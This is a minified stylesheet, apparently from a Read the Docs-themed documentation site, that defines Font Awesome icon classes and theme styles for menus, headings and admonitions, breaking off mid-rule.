.fa-h-square:before { content: "" } .fa-plus-square:before { content: "" } .fa-angle-double-left:before { content: "" } .fa-angle-double-right:before { content: "" } .fa-angle-double-up:before { content: "" } .fa-angle-double-down:before { content: "" } .fa-angle-left:before { content: "" } .fa-angle-right:before { content: "" } .fa-angle-up:before { content: "" } .fa-angle-down:before { content: "" } .fa-desktop:before { content: "" } .fa-laptop:before { content: "" } .fa-tablet:before { content: "" } .fa-mobile-phone:before, .fa-mobile:before { content: "" } .fa-circle-o:before { content: "" } .fa-quote-left:before { content: "" } .fa-quote-right:before { content: "" } .fa-spinner:before { content: "" } .fa-circle:before { content: "" } .fa-mail-reply:before, .fa-reply:before { content: "" } .fa-github-alt:before { content: "" } .fa-folder-o:before { content: "" } .fa-folder-open-o:before { content: "" } .fa-smile-o:before { content: "" } .fa-frown-o:before { content: "" } .fa-meh-o:before { content: "" } .fa-gamepad:before { content: "" } .fa-keyboard-o:before { content: "" } .fa-flag-o:before { content: "" } .fa-flag-checkered:before { content: "" } .fa-terminal:before { content: "" } .fa-code:before { content: "" } .fa-mail-reply-all:before, .fa-reply-all:before { content: "" } .fa-star-half-empty:before, .fa-star-half-full:before, .fa-star-half-o:before { content: "" } .fa-location-arrow:before { content: "" } .fa-crop:before { content: "" } .fa-code-fork:before { content: "" } .fa-unlink:before, .fa-chain-broken:before { content: "" } .fa-question:before { content: "" } .fa-info:before { content: "" } .fa-exclamation:before { content: "" } .fa-superscript:before { content: "" } .fa-subscript:before { content: "" } .fa-eraser:before { content: "" } .fa-puzzle-piece:before { content: "" } .fa-microphone:before { content: "" } .fa-microphone-slash:before { content: "" } .fa-shield:before { content: "" } .fa-calendar-o:before { content: "" } .fa-fire-extinguisher:before { content: "" } .fa-rocket:before { content: "" } .fa-maxcdn:before { content: "" } .fa-chevron-circle-left:before { content: "" } .fa-chevron-circle-right:before { content: "" } .fa-chevron-circle-up:before { content: "" } .fa-chevron-circle-down:before { content: "" } .fa-html5:before { content: "" } .fa-css3:before { content: "" } .fa-anchor:before { content: "" } .fa-unlock-alt:before { content: "" } .fa-bullseye:before { content: "" } .fa-ellipsis-h:before { content: "" } .fa-ellipsis-v:before { content: "" } .fa-rss-square:before { content: "" } .fa-play-circle:before { content: "" } .fa-ticket:before { content: "" } .fa-minus-square:before { content: "" } /* .fa-minus-square-o:before, .wy-menu-vertical li.on a span.toctree-expand:before, .wy-menu-vertical li.current>a span.toctree-expand:before { content: "" } */ .fa-level-up:before { content: "" } .fa-level-down:before { content: "" } .fa-check-square:before { content: "" } .fa-pencil-square:before { content: "" } .fa-external-link-square:before { content: "" } .fa-share-square:before { content: "" } .fa-compass:before { content: "" } .fa-toggle-down:before, .fa-caret-square-o-down:before { content: "" } .fa-toggle-up:before, .fa-caret-square-o-up:before { content: "" } .fa-toggle-right:before, .fa-caret-square-o-right:before { content: "" } .fa-euro:before, .fa-eur:before { content: "" } .fa-gbp:before { content: "" } .fa-dollar:before, .fa-usd:before { content: "" } .fa-rupee:before, .fa-inr:before { content: "" } .fa-cny:before, .fa-rmb:before, .fa-yen:before, .fa-jpy:before { content: "" } .fa-ruble:before, .fa-rouble:before, .fa-rub:before { content: "" } .fa-won:before, .fa-krw:before { content: "" } .fa-bitcoin:before, .fa-btc:before { content: "" } .fa-file:before { content: "" } .fa-file-text:before { content: "" } .fa-sort-alpha-asc:before { content: "" } .fa-sort-alpha-desc:before { content: "" } .fa-sort-amount-asc:before { content: "" } .fa-sort-amount-desc:before { content: "" } .fa-sort-numeric-asc:before { content: "" } .fa-sort-numeric-desc:before { content: "" } .fa-thumbs-up:before { content: "" } .fa-thumbs-down:before { content: "" } .fa-youtube-square:before { content: "" } .fa-youtube:before { content: "" } .fa-xing:before { content: "" } .fa-xing-square:before { content: "" } .fa-youtube-play:before { content: "" } .fa-dropbox:before { content: "" } .fa-stack-overflow:before { content: "" } .fa-instagram:before { content: "" } .fa-flickr:before { content: "" } .fa-adn:before { content: "" } .fa-bitbucket:before, .icon-bitbucket:before { content: "" } .fa-bitbucket-square:before { content: "" } .fa-tumblr:before { content: "" } .fa-tumblr-square:before { content: "" } .fa-long-arrow-down:before { content: "" } .fa-long-arrow-up:before { content: "" } .fa-long-arrow-left:before { content: "" } .fa-long-arrow-right:before { content: "" } .fa-apple:before { content: "" } .fa-windows:before { content: "" } .fa-android:before { content: "" } .fa-linux:before { content: "" } .fa-dribbble:before { content: "" } .fa-skype:before { content: "" } .fa-foursquare:before { content: "" } .fa-trello:before { content: "" } .fa-female:before { content: "" } .fa-male:before { content: "" } .fa-gittip:before, .fa-gratipay:before { content: "" } .fa-sun-o:before { content: "" } .fa-moon-o:before { content: "" } .fa-archive:before { content: "" } .fa-bug:before { content: "" } .fa-vk:before { content: "" } .fa-weibo:before { content: "" } .fa-renren:before { content: "" } .fa-pagelines:before { content: "" } .fa-stack-exchange:before { content: "" } .fa-arrow-circle-o-right:before { content: "" } .fa-arrow-circle-o-left:before { content: "" } .fa-toggle-left:before, .fa-caret-square-o-left:before { content: "" } .fa-dot-circle-o:before { content: "" } .fa-wheelchair:before { content: "" } .fa-vimeo-square:before { content: "" } .fa-turkish-lira:before, .fa-try:before { content: "" } /* .fa-plus-square-o:before, .wy-menu-vertical li span.toctree-expand:before { content: "" } */ .fa-space-shuttle:before { content: "" } .fa-slack:before { content: "" } .fa-envelope-square:before { content: "" } .fa-wordpress:before { content: "" } .fa-openid:before { content: "" } .fa-institution:before, .fa-bank:before, .fa-university:before { content: "" } .fa-mortar-board:before, .fa-graduation-cap:before { content: "" } .fa-yahoo:before { content: "" } .fa-google:before { content: "" } .fa-reddit:before { content: "" } .fa-reddit-square:before { content: "" } .fa-stumbleupon-circle:before { content: "" } .fa-stumbleupon:before { content: "" } .fa-delicious:before { content: "" } .fa-digg:before { content: "" } .fa-pied-piper-pp:before { content: "" } .fa-pied-piper-alt:before { content: "" } .fa-drupal:before { content: "" } .fa-joomla:before { content: "" } .fa-language:before { content: "" } .fa-fax:before { content: "" } .fa-building:before { content: "" } .fa-child:before { content: "" } .fa-paw:before { content: "" } .fa-spoon:before { content: "" } .fa-cube:before { content: "" } .fa-cubes:before { content: "" } .fa-behance:before { content: "" } .fa-behance-square:before { content: "" } .fa-steam:before { content: "" } .fa-steam-square:before { content: "" } .fa-recycle:before { content: "" } .fa-automobile:before, .fa-car:before { content: "" } .fa-cab:before, .fa-taxi:before { content: "" } .fa-tree:before { content: "" } .fa-spotify:before { content: "" } .fa-deviantart:before { content: "" } .fa-soundcloud:before { content: "" } .fa-database:before { content: "" } .fa-file-pdf-o:before { content: "" } .fa-file-word-o:before { content: "" } .fa-file-excel-o:before { content: "" } .fa-file-powerpoint-o:before { content: "" } .fa-file-photo-o:before, .fa-file-picture-o:before, .fa-file-image-o:before { content: "" } .fa-file-zip-o:before, .fa-file-archive-o:before { content: "" } .fa-file-sound-o:before, .fa-file-audio-o:before { content: "" } .fa-file-movie-o:before, .fa-file-video-o:before { content: "" } .fa-file-code-o:before { content: "" } .fa-vine:before { content: "" } .fa-codepen:before { content: "" } .fa-jsfiddle:before { content: "" } .fa-life-bouy:before, .fa-life-buoy:before, .fa-life-saver:before, .fa-support:before, .fa-life-ring:before { content: "" } .fa-circle-o-notch:before { content: "" } .fa-ra:before, .fa-resistance:before, .fa-rebel:before { content: "" } .fa-ge:before, .fa-empire:before { content: "" } .fa-git-square:before { content: "" } .fa-git:before { content: "" } .fa-y-combinator-square:before, .fa-yc-square:before, .fa-hacker-news:before { content: "" } .fa-tencent-weibo:before { content: "" } .fa-qq:before { content: "" } .fa-wechat:before, .fa-weixin:before { content: "" } .fa-send:before, .fa-paper-plane:before { content: "" } .fa-send-o:before, .fa-paper-plane-o:before { content: "" } .fa-history:before { content: "" } .fa-circle-thin:before { content: "" } .fa-header:before { content: "" } .fa-paragraph:before { content: "" } .fa-sliders:before { content: "" } .fa-share-alt:before { content: "" } .fa-share-alt-square:before { content: "" } .fa-bomb:before { content: "" } .fa-soccer-ball-o:before, .fa-futbol-o:before { content: "" } .fa-tty:before { content: "" } .fa-binoculars:before { content: "" } .fa-plug:before { content: "" } .fa-slideshare:before { content: "" } .fa-twitch:before { content: "" } .fa-yelp:before { content: "" } .fa-newspaper-o:before { content: "" } .fa-wifi:before { content: "" } .fa-calculator:before { content: "" } .fa-paypal:before { content: "" } .fa-google-wallet:before { content: "" } .fa-cc-visa:before { content: "" } .fa-cc-mastercard:before { content: "" } .fa-cc-discover:before { content: "" } .fa-cc-amex:before { content: "" } .fa-cc-paypal:before { content: "" } .fa-cc-stripe:before { content: "" } .fa-bell-slash:before { content: "" } .fa-bell-slash-o:before { content: "" } .fa-trash:before { content: "" } .fa-copyright:before { content: "" } .fa-at:before { content: "" } .fa-eyedropper:before { content: "" } .fa-paint-brush:before { content: "" } .fa-birthday-cake:before { content: "" } .fa-area-chart:before { content: "" } .fa-pie-chart:before { content: "" } .fa-line-chart:before { content: "" } .fa-lastfm:before { content: "" } .fa-lastfm-square:before { content: "" } .fa-toggle-off:before { content: "" } .fa-toggle-on:before { content: "" } .fa-bicycle:before { content: "" } .fa-bus:before { content: "" } .fa-ioxhost:before { content: "" } .fa-angellist:before { content: "" } .fa-cc:before { content: "" } .fa-shekel:before, .fa-sheqel:before, .fa-ils:before { content: "" } .fa-meanpath:before { content: "" } .fa-buysellads:before { content: "" } .fa-connectdevelop:before { content: "" } .fa-dashcube:before { content: "" } .fa-forumbee:before { content: "" } .fa-leanpub:before { content: "" } .fa-sellsy:before { content: "" } .fa-shirtsinbulk:before { content: "" } .fa-simplybuilt:before { content: "" } .fa-skyatlas:before { content: "" } .fa-cart-plus:before { content: "" } .fa-cart-arrow-down:before { content: "" } .fa-diamond:before { content: "" } .fa-ship:before { content: "" } .fa-user-secret:before { content: "" } .fa-motorcycle:before { content: "" } .fa-street-view:before { content: "" } .fa-heartbeat:before { content: "" } .fa-venus:before { content: "" } .fa-mars:before { content: "" } .fa-mercury:before { content: "" } .fa-intersex:before, .fa-transgender:before { content: "" } .fa-transgender-alt:before { content: "" } .fa-venus-double:before { content: "" } .fa-mars-double:before { content: "" } .fa-venus-mars:before { content: "" } .fa-mars-stroke:before { content: "" } .fa-mars-stroke-v:before { content: "" } .fa-mars-stroke-h:before { content: "" } .fa-neuter:before { content: "" } .fa-genderless:before { content: "" } .fa-facebook-official:before { content: "" } .fa-pinterest-p:before { content: "" } .fa-whatsapp:before { content: "" } .fa-server:before { content: "" } .fa-user-plus:before { content: "" } .fa-user-times:before { content: "" } .fa-hotel:before, .fa-bed:before { content: "" } .fa-viacoin:before { content: "" } .fa-train:before { content: "" } .fa-subway:before { content: "" } .fa-medium:before { content: "" } .fa-yc:before, .fa-y-combinator:before { content: "" } .fa-optin-monster:before { content: "" } .fa-opencart:before { content: "" } .fa-expeditedssl:before { content: "" } .fa-battery-4:before, .fa-battery:before, .fa-battery-full:before { content: "" } .fa-battery-3:before, .fa-battery-three-quarters:before { content: "" } .fa-battery-2:before, .fa-battery-half:before { content: "" } .fa-battery-1:before, .fa-battery-quarter:before { content: "" } .fa-battery-0:before, .fa-battery-empty:before { content: "" } .fa-mouse-pointer:before { content: "" } .fa-i-cursor:before { content: "" } .fa-object-group:before { content: "" } .fa-object-ungroup:before { content: "" } .fa-sticky-note:before { content: "" } .fa-sticky-note-o:before { content: "" } .fa-cc-jcb:before { content: "" } .fa-cc-diners-club:before { content: "" } .fa-clone:before { content: "" } .fa-balance-scale:before { content: "" } .fa-hourglass-o:before { content: "" } .fa-hourglass-1:before, .fa-hourglass-start:before { content: "" } .fa-hourglass-2:before, .fa-hourglass-half:before { content: "" } .fa-hourglass-3:before, .fa-hourglass-end:before { content: "" } .fa-hourglass:before { content: "" } .fa-hand-grab-o:before, .fa-hand-rock-o:before { content: "" } .fa-hand-stop-o:before, .fa-hand-paper-o:before { content: "" } .fa-hand-scissors-o:before { content: "" } .fa-hand-lizard-o:before { content: "" } .fa-hand-spock-o:before { content: "" } .fa-hand-pointer-o:before { content: "" } .fa-hand-peace-o:before { content: "" } .fa-trademark:before { content: "" } .fa-registered:before { content: "" } .fa-creative-commons:before { content: "" } .fa-gg:before { content: "" } .fa-gg-circle:before { content: "" } .fa-tripadvisor:before { content: "" } .fa-odnoklassniki:before { content: "" } .fa-odnoklassniki-square:before { content: "" } .fa-get-pocket:before { content: "" } .fa-wikipedia-w:before { content: "" } .fa-safari:before { content: "" } .fa-chrome:before { content: "" } .fa-firefox:before { content: "" } .fa-opera:before { content: "" } .fa-internet-explorer:before { content: "" } .fa-tv:before, .fa-television:before { content: "" } .fa-contao:before { content: "" } .fa-500px:before { content: "" } .fa-amazon:before { content: "" } .fa-calendar-plus-o:before { content: "" } .fa-calendar-minus-o:before { content: "" } .fa-calendar-times-o:before { content: "" } .fa-calendar-check-o:before { content: "" } .fa-industry:before { content: "" } .fa-map-pin:before { content: "" } .fa-map-signs:before { content: "" } .fa-map-o:before { content: "" } .fa-map:before { content: "" } .fa-commenting:before { content: "" } .fa-commenting-o:before { content: "" } .fa-houzz:before { content: "" } .fa-vimeo:before { content: "" } .fa-black-tie:before { content: "" } .fa-fonticons:before { content: "" } .fa-reddit-alien:before { content: "" } .fa-edge:before { content: "" } .fa-credit-card-alt:before { content: "" } .fa-codiepie:before { content: "" } .fa-modx:before { content: "" } .fa-fort-awesome:before { content: "" } .fa-usb:before { content: "" } .fa-product-hunt:before { content: "" } .fa-mixcloud:before { content: "" } .fa-scribd:before { content: "" } .fa-pause-circle:before { content: "" } .fa-pause-circle-o:before { content: "" } .fa-stop-circle:before { content: "" } .fa-stop-circle-o:before { content: "" } .fa-shopping-bag:before { content: "" } .fa-shopping-basket:before { content: "" } .fa-hashtag:before { content: "" } .fa-bluetooth:before { content: "" } .fa-bluetooth-b:before { content: "" } .fa-percent:before { content: "" } .fa-gitlab:before, .icon-gitlab:before { content: "" } .fa-wpbeginner:before { content: "" } .fa-wpforms:before { content: "" } .fa-envira:before { content: "" } .fa-universal-access:before { content: "" } .fa-wheelchair-alt:before { content: "" } .fa-question-circle-o:before { content: "" } .fa-blind:before { content: "" } .fa-audio-description:before { content: "" } .fa-volume-control-phone:before { content: "" } .fa-braille:before { content: "" } .fa-assistive-listening-systems:before { content: "" } .fa-asl-interpreting:before, .fa-american-sign-language-interpreting:before { content: "" } .fa-deafness:before, .fa-hard-of-hearing:before, .fa-deaf:before { content: "" } .fa-glide:before { content: "" } .fa-glide-g:before { content: "" } .fa-signing:before, .fa-sign-language:before { content: "" } .fa-low-vision:before { content: "" } .fa-viadeo:before { content: "" } .fa-viadeo-square:before { content: "" } .fa-snapchat:before { content: "" } .fa-snapchat-ghost:before { content: "" } .fa-snapchat-square:before { content: "" } .fa-pied-piper:before { content: "" } .fa-first-order:before { content: "" } .fa-yoast:before { content: "" } .fa-themeisle:before { content: "" } .fa-google-plus-circle:before, .fa-google-plus-official:before { content: "" } .fa-fa:before, .fa-font-awesome:before { content: "" } .fa-handshake-o:before { content: "" } .fa-envelope-open:before { content: "" } .fa-envelope-open-o:before { content: "" } .fa-linode:before { content: "" } .fa-address-book:before { content: "" } .fa-address-book-o:before { content: "" } .fa-vcard:before, .fa-address-card:before { content: "" } .fa-vcard-o:before, .fa-address-card-o:before { content: "" } .fa-user-circle:before { content: "" } .fa-user-circle-o:before { content: "" } .fa-user-o:before { content: "" } .fa-id-badge:before { content: "" } .fa-drivers-license:before, .fa-id-card:before { content: "" } .fa-drivers-license-o:before, .fa-id-card-o:before { content: "" } .fa-quora:before { content: "" } .fa-free-code-camp:before { content: "" } .fa-telegram:before { content: "" } .fa-thermometer-4:before, .fa-thermometer:before, .fa-thermometer-full:before { content: "" } .fa-thermometer-3:before, .fa-thermometer-three-quarters:before { content: "" } .fa-thermometer-2:before, .fa-thermometer-half:before { content: "" } .fa-thermometer-1:before, .fa-thermometer-quarter:before { content: "" } .fa-thermometer-0:before, .fa-thermometer-empty:before { content: "" } .fa-shower:before { content: "" } .fa-bathtub:before, .fa-s15:before, .fa-bath:before { content: "" } .fa-podcast:before { content: "" } .fa-window-maximize:before { content: "" } .fa-window-minimize:before { content: "" } .fa-window-restore:before { content: "" } .fa-times-rectangle:before, .fa-window-close:before { content: "" } .fa-times-rectangle-o:before, .fa-window-close-o:before { content: "" } .fa-bandcamp:before { content: "" } .fa-grav:before { content: "" } .fa-etsy:before { content: "" } .fa-imdb:before { content: "" } .fa-ravelry:before { content: "" } .fa-eercast:before { content: "" } .fa-microchip:before { content: "" } .fa-snowflake-o:before { content: "" } .fa-superpowers:before { content: "" } .fa-wpexplorer:before { content: "" } .fa-meetup:before { content: "" } .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0 } .sr-only-focusable:active, .sr-only-focusable:focus { position: static; width: auto; height: auto; margin: 0; overflow: visible; clip: auto } .fa, .wy-menu-vertical li span.toctree-expand, .wy-menu-vertical li.on a span.toctree-expand, .wy-menu-vertical li.current>a span.toctree-expand, .rst-content .admonition-title, .rst-content h1 .headerlink, .rst-content h2 .headerlink, .rst-content h3 .headerlink, .rst-content h4 .headerlink, .rst-content h5 .headerlink, .rst-content h6 .headerlink, .rst-content dl dt .headerlink, .rst-content p.caption .headerlink, .rst-content table>caption .headerlink, .rst-content tt.download span:first-child, .rst-content code.download span:first-child, .icon, .wy-dropdown .caret, .wy-inline-validate.wy-inline-validate-success .wy-input-context, .wy-inline-validate.wy-inline-validate-danger .wy-input-context, .wy-inline-validate.wy-inline-validate-warning .wy-input-context, .wy-inline-validate.wy-inline-validate-info .wy-input-context { font-family: inherit } .fa:before, .wy-menu-vertical li span.toctree-expand:before, .wy-menu-vertical li.on a span.toctree-expand:before, .wy-menu-vertical li.current>a span.toctree-expand:before, .rst-content .admonition-title:before, .rst-content h1 .headerlink:before, .rst-content h2 .headerlink:before, .rst-content h3 .headerlink:before, .rst-content h4 .headerlink:before, .rst-content h5 .headerlink:before, .rst-content h6 .headerlink:before, .rst-content dl dt .headerlink:before, .rst-content p.caption .headerlink:before, .rst-content table>caption .headerlink:before, .rst-content tt.download span:first-child:before, .rst-content code.download span:first-child:before, .icon:before, .wy-dropdown .caret:before, .wy-inline-validate.wy-inline-validate-success .wy-input-context:before, .wy-inline-validate.wy-inline-validate-danger .wy-input-context:before, .wy-inline-validate.wy-inline-validate-warning .wy-input-context:before, .wy-inline-validate.wy-inline-validate-info .wy-input-context:before { font-family: "FontAwesome"; display: inline-block; font-style: normal; font-weight: normal; line-height: 1; text-decoration: inherit } a .fa, a .wy-menu-vertical li span.toctree-expand, .wy-menu-vertical li a span.toctree-expand, .wy-menu-vertical li.on a span.toctree-expand, .wy-menu-vertical li.current>a span.toctree-expand, a .rst-content .admonition-title, .rst-content a .admonition-title, a .rst-content h1 .headerlink, .rst-content h1 a .headerlink, a .rst-content h2 .headerlink, .rst-content h2 a .headerlink, a .rst-content h3 .headerlink, .rst-content h3 a .headerlink, a .rst-content h4 .headerlink, .rst-content h4 a .headerlink, a .rst-content h5 .headerlink, .rst-content h5 a .headerlink, a .rst-content h6 .headerlink, .rst-content h6 a .headerlink, a .rst-content dl dt .headerlink, .rst-content dl dt a .headerlink, a .rst-content p.caption .headerlink, .rst-content p.caption a .headerlink, a .rst-content table>caption .headerlink, .rst-content table>caption a .headerlink, a .rst-content tt.download span:first-child, .rst-content tt.download a span:first-child, a .rst-content code.download span:first-child, .rst-content code.download a span:first-child, a .icon { display: inline-block; text-decoration: inherit } .btn .fa, .btn .wy-menu-vertical li span.toctree-expand, .wy-menu-vertical li .btn span.toctree-expand, .btn .wy-menu-vertical li.on a span.toctree-expand, .wy-menu-vertical li.on a .btn span.toctree-expand, .btn .wy-menu-vertical li.current>a span.toctree-expand, .wy-menu-vertical li.current>a .btn span.toctree-expand, .btn .rst-content .admonition-title, .rst-content .btn .admonition-title, .btn .rst-content h1 .headerlink, .rst-content h1 .btn .headerlink, .btn .rst-content h2 .headerlink, .rst-content h2 .btn .headerlink, .btn .rst-content h3 .headerlink, .rst-content h3 .btn .headerlink, .btn .rst-content h4 .headerlink, .rst-content h4 .btn .headerlink, .btn .rst-content h5 .headerlink, .rst-content h5 .btn .headerlink, .btn .rst-content h6 .headerlink, .rst-content h6 .btn .headerlink, .btn .rst-content dl dt .headerlink, .rst-content dl dt .btn .headerlink, .btn .rst-content p.caption .headerlink, .rst-content p.caption .btn .headerlink, .btn .rst-content table>caption .headerlink, .rst-content table>caption .btn .headerlink, .btn .rst-content tt.download span:first-child, .rst-content tt.download .btn span:first-child, .btn .rst-content code.download span:first-child, .rst-content code.download .btn span:first-child, .btn .icon, .nav .fa, .nav .wy-menu-vertical li span.toctree-expand, .wy-menu-vertical li .nav span.toctree-expand, .nav .wy-menu-vertical li.on a span.toctree-expand, .wy-menu-vertical li.on a .nav span.toctree-expand, .nav .wy-menu-vertical li.current>a span.toctree-expand, .wy-menu-vertical li.current>a .nav span.toctree-expand, .nav .rst-content .admonition-title, .rst-content .nav .admonition-title, .nav .rst-content h1 .headerlink, .rst-content h1 .nav .headerlink, .nav .rst-content h2 .headerlink, .rst-content h2 .nav .headerlink, .nav .rst-content h3 .headerlink, .rst-content h3 .nav .headerlink, .nav .rst-content h4 .headerlink, .rst-content h4 .nav .headerlink, .nav .rst-content h5 .headerlink, .rst-content h5 .nav .headerlink, .nav .rst-content h6 .headerlink, .rst-content h6 .nav .headerlink, .nav .rst-content dl dt .headerlink, .rst-content dl dt .nav .headerlink, .nav .rst-content p.caption .headerlink, .rst-content p.caption .nav .headerlink, .nav .rst-content table>caption .headerlink, .rst-content table>caption .nav .headerlink, .nav .rst-content tt.download span:first-child, .rst-content tt.download .nav span:first-child, .nav .rst-content code.download span:first-child, .rst-content code.download .nav span:first-child, .nav .icon { display: inline } .btn .fa.fa-large, .btn .wy-menu-vertical li span.fa-large.toctree-expand, .wy-menu-vertical li .btn span.fa-large.toctree-expand, .btn .rst-content .fa-large.admonition-title, .rst-content .btn .fa-large.admonition-title, .btn .rst-content h1 .fa-large.headerlink, .rst-content h1 .btn .fa-large.headerlink, .btn .rst-content h2 .fa-large.headerlink, .rst-content h2 .btn .fa-large.headerlink, .btn .rst-content h3 .fa-large.headerlink, .rst-content h3 .btn .fa-large.headerlink, .btn .rst-content h4 .fa-large.headerlink, .rst-content h4 .btn .fa-large.headerlink, .btn .rst-content h5 .fa-large.headerlink, .rst-content h5 .btn .fa-large.headerlink, .btn .rst-content h6 .fa-large.headerlink, .rst-content h6 .btn .fa-large.headerlink, .btn .rst-content dl dt .fa-large.headerlink, .rst-content dl dt .btn .fa-large.headerlink, .btn .rst-content p.caption .fa-large.headerlink, .rst-content p.caption .btn .fa-large.headerlink, .btn .rst-content table>caption .fa-large.headerlink, .rst-content table>caption .btn .fa-large.headerlink, .btn .rst-content tt.download span.fa-large:first-child, .rst-content tt.download .btn span.fa-large:first-child, .btn .rst-content code.download span.fa-large:first-child, .rst-content code.download .btn span.fa-large:first-child, .btn .fa-large.icon, .nav .fa.fa-large, .nav .wy-menu-vertical li span.fa-large.toctree-expand, .wy-menu-vertical li .nav span.fa-large.toctree-expand, .nav .rst-content .fa-large.admonition-title, .rst-content .nav .fa-large.admonition-title, .nav .rst-content h1 .fa-large.headerlink, .rst-content h1 .nav .fa-large.headerlink, .nav .rst-content h2 .fa-large.headerlink, .rst-content h2 .nav .fa-large.headerlink, .nav .rst-content h3 .fa-large.headerlink, .rst-content h3 .nav .fa-large.headerlink, .nav .rst-content h4 .fa-large.headerlink, .rst-content h4 .nav .fa-large.headerlink, .nav .rst-content h5 .fa-large.headerlink, .rst-content h5 .nav .fa-large.headerlink, .nav .rst-content h6 .fa-large.headerlink, .rst-content h6 .nav .fa-large.headerlink, .nav .rst-content dl dt .fa-large.headerlink, .rst-content dl dt .nav .fa-large.headerlink, .nav .rst-content p.caption .fa-large.headerlink, .rst-content p.caption .nav .fa-large.headerlink, .nav .rst-content table>caption .fa-large.headerlink, .rst-content table>caption .nav .fa-large.headerlink, .nav .rst-content tt.download span.fa-large:first-child, .rst-content tt.download .nav span.fa-large:first-child, .nav .rst-content code.download span.fa-large:first-child, .rst-content code.download .nav span.fa-large:first-child, .nav .fa-large.icon { line-height: .9em } .btn .fa.fa-spin, .btn .wy-menu-vertical li span.fa-spin.toctree-expand, .wy-menu-vertical li .btn span.fa-spin.toctree-expand, .btn .rst-content .fa-spin.admonition-title, .rst-content .btn .fa-spin.admonition-title, .btn .rst-content h1 .fa-spin.headerlink, .rst-content h1 .btn .fa-spin.headerlink, .btn .rst-content h2 .fa-spin.headerlink, .rst-content h2 .btn .fa-spin.headerlink, .btn .rst-content h3 .fa-spin.headerlink, .rst-content h3 .btn .fa-spin.headerlink, .btn .rst-content h4 .fa-spin.headerlink, .rst-content h4 .btn .fa-spin.headerlink, .btn .rst-content h5 .fa-spin.headerlink, .rst-content h5 .btn .fa-spin.headerlink, .btn .rst-content h6 .fa-spin.headerlink, .rst-content h6 .btn .fa-spin.headerlink, .btn .rst-content dl dt .fa-spin.headerlink, .rst-content dl dt .btn .fa-spin.headerlink, .btn .rst-content p.caption .fa-spin.headerlink, .rst-content p.caption .btn .fa-spin.headerlink, .btn .rst-content table>caption .fa-spin.headerlink, .rst-content table>caption .btn .fa-spin.headerlink, .btn .rst-content tt.download span.fa-spin:first-child, .rst-content tt.download .btn span.fa-spin:first-child, .btn .rst-content code.download span.fa-spin:first-child, .rst-content code.download .btn span.fa-spin:first-child, .btn .fa-spin.icon, .nav .fa.fa-spin, .nav .wy-menu-vertical li span.fa-spin.toctree-expand, .wy-menu-vertical li .nav span.fa-spin.toctree-expand, .nav .rst-content .fa-spin.admonition-title, .rst-content .nav .fa-spin.admonition-title, .nav .rst-content h1 .fa-spin.headerlink, .rst-content h1 .nav .fa-spin.headerlink, .nav .rst-content h2 .fa-spin.headerlink, .rst-content h2 .nav .fa-spin.headerlink, .nav .rst-content h3 .fa-spin.headerlink, .rst-content h3 .nav .fa-spin.headerlink, .nav .rst-content h4 .fa-spin.headerlink, .rst-content h4 .nav .fa-spin.headerlink, .nav .rst-content h5 .fa-spin.headerlink, .rst-content h5 .nav .fa-spin.headerlink, .nav .rst-content h6 .fa-spin.headerlink, .rst-content h6 .nav .fa-spin.headerlink, .nav .rst-content dl dt .fa-spin.headerlink, .rst-content dl dt .nav .fa-spin.headerlink, .nav .rst-content p.caption .fa-spin.headerlink, .rst-content p.caption .nav .fa-spin.headerlink, .nav .rst-content table>caption .fa-spin.headerlink, .rst-content table>caption .nav .fa-spin.headerlink, .nav .rst-content tt.download span.fa-spin:first-child, .rst-content tt.download .nav span.fa-spin:first-child, .nav .rst-content code.download span.fa-spin:first-child, .rst-content code.download .nav span.fa-spin:first-child, .nav .fa-spin.icon { display: inline-block } .btn.fa:before, .wy-menu-vertical li span.btn.toctree-expand:before, .rst-content .btn.admonition-title:before, .rst-content h1 .btn.headerlink:before, .rst-content h2 .btn.headerlink:before, .rst-content h3 .btn.headerlink:before, .rst-content h4 .btn.headerlink:before, .rst-content h5 .btn.headerlink:before, .rst-content h6 .btn.headerlink:before, .rst-content dl dt .btn.headerlink:before, .rst-content p.caption .btn.headerlink:before, .rst-content table>caption .btn.headerlink:before, .rst-content tt.download span.btn:first-child:before, .rst-content code.download span.btn:first-child:before, .btn.icon:before { opacity: .5; -webkit-transition: opacity .05s ease-in; -moz-transition: opacity .05s ease-in; transition: opacity .05s ease-in } .btn.fa:hover:before, .wy-menu-vertical li span.btn.toctree-expand:hover:before, .rst-content .btn.admonition-title:hover:before, .rst-content h1 .btn.headerlink:hover:before, .rst-content h2 .btn.headerlink:hover:before, .rst-content h3 .btn.headerlink:hover:before, .rst-content h4 .btn.headerlink:hover:before, .rst-content h5 .btn.headerlink:hover:before, .rst-content h6 .btn.headerlink:hover:before, .rst-content dl dt .btn.headerlink:hover:before, .rst-content p.caption .btn.headerlink:hover:before, .rst-content table>caption .btn.headerlink:hover:before, .rst-content tt.download span.btn:first-child:hover:before, .rst-content code.download span.btn:first-child:hover:before, .btn.icon:hover:before { opacity: 1 } .btn-mini .fa:before, .btn-mini .wy-menu-vertical li span.toctree-expand:before, .wy-menu-vertical li .btn-mini span.toctree-expand:before, .btn-mini .rst-content .admonition-title:before, .rst-content .btn-mini .admonition-title:before, .btn-mini .rst-content h1 .headerlink:before, .rst-content h1 .btn-mini .headerlink:before, .btn-mini .rst-content h2 .headerlink:before, .rst-content h2 .btn-mini .headerlink:before, .btn-mini .rst-content h3 .headerlink:before, .rst-content h3 .btn-mini .headerlink:before, .btn-mini .rst-content h4 .headerlink:before, .rst-content h4 .btn-mini .headerlink:before, .btn-mini .rst-content h5 .headerlink:before, .rst-content h5 .btn-mini .headerlink:before, .btn-mini .rst-content h6 .headerlink:before, .rst-content h6 .btn-mini .headerlink:before, .btn-mini .rst-content dl dt .headerlink:before, .rst-content dl dt .btn-mini .headerlink:before, .btn-mini .rst-content p.caption .headerlink:before, .rst-content p.caption .btn-mini .headerlink:before, .btn-mini .rst-content table>caption .headerlink:before, .rst-content table>caption .btn-mini .headerlink:before, .btn-mini .rst-content tt.download span:first-child:before, .rst-content tt.download .btn-mini span:first-child:before, .btn-mini .rst-content code.download span:first-child:before, .rst-content code.download .btn-mini span:first-child:before, .btn-mini .icon:before { font-size: 14px; vertical-align: -15% } .wy-alert, .rst-content .note, .rst-content .attention, .rst-content .caution, .rst-content .danger, .rst-content .error, .rst-content .hint, .rst-content .important, .rst-content .tip, .rst-content .warning, .rst-content .seealso, .rst-content .admonition-todo, .rst-content .admonition { padding: 12px; line-height: 24px; margin-bottom: 24px; background: #e7f2fa } .wy-alert-title, .rst-content .admonition-title { color: #fff; font-weight: bold; display: block; color: 